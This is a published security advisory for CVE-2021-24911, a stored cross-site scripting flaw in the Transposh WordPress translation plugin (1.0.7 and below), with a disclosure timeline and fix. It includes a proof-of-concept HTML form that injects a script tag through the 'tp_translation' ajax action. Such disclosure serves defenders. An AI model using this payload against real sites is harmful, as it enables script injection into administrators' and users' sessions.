CVE-2021-24911 Transposh <= 1.0.7 …

ADVISORY INFORMATION

Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress
Type: Cross-Site Scripting [CWE-79]
Date found: 2021-08-19
Date published: 2022-07-22
CVSSv3 Score: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
CVE: CVE-2021-24911

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

Transposh WordPress Translation 1.0.7 and below

INTRODUCTION

Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.

(from the vendor’s homepage)

VULNERABILITY DETAILS

The plugin’s ajax action “tp_translation” which is available to authenticated or unauthenticated users (see CVE-2022-2461) allows to submit new translations.

Translations submitted this way are shown on the Transposh administrative interface on the pages “tp_main” and “tp_editor”. However, since the plugin does not properly validate and sanitize the submitted translation, arbitrary Javascript code can be permanently injected and executed directly within the backend across all users visiting the page with the roles of at least “Subscriber” and up to “Administrator”.

This offers a wide range of possible attacks, such as redirecting the user to a malicious page, spoofing content on the page, or attacking the browser and its plugins.

PROOF OF CONCEPT

The following PoC adds a new translation:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;translation" />
      <input type="hidden" name="ln0" value="en" />
      <input type="hidden" name="sr0" value="0" />
      <input type="hidden" name="items" value="1" />
      <input type="hidden" name="tk0" value="xss&lt;script&gt;alert&#40;1337&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="tr0" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

SOLUTION

Update the plugin to version 1.0.8.1

REPORT TIMELINE

2021-08-19: Discovery of the vulnerability
2021-08-20: Contacted the vendor via their contact form
2021-08-20: Vendor response
2021-08-20: Sent all the PoC exploits
2021-08-20: Vendor acknowledges the issues
2021-09-14: Requested status update from vendor
2021-10-07: No response from vendor, requested status update again
2021-10-25: CVE requested from WPScan (CNA)
2021-10-27: WPScan assigns CVE-2021-24911
2022-02-22: Vendor releases 1.0.8, which fixes this vulnerability
2022-07-22: Public disclosure

REFERENCES

https://transposh.org/version-1-0-8-thanks-julien/

Transposh <= 1.0.7 “tp_translation” Unauthenticated Stored Cross-Site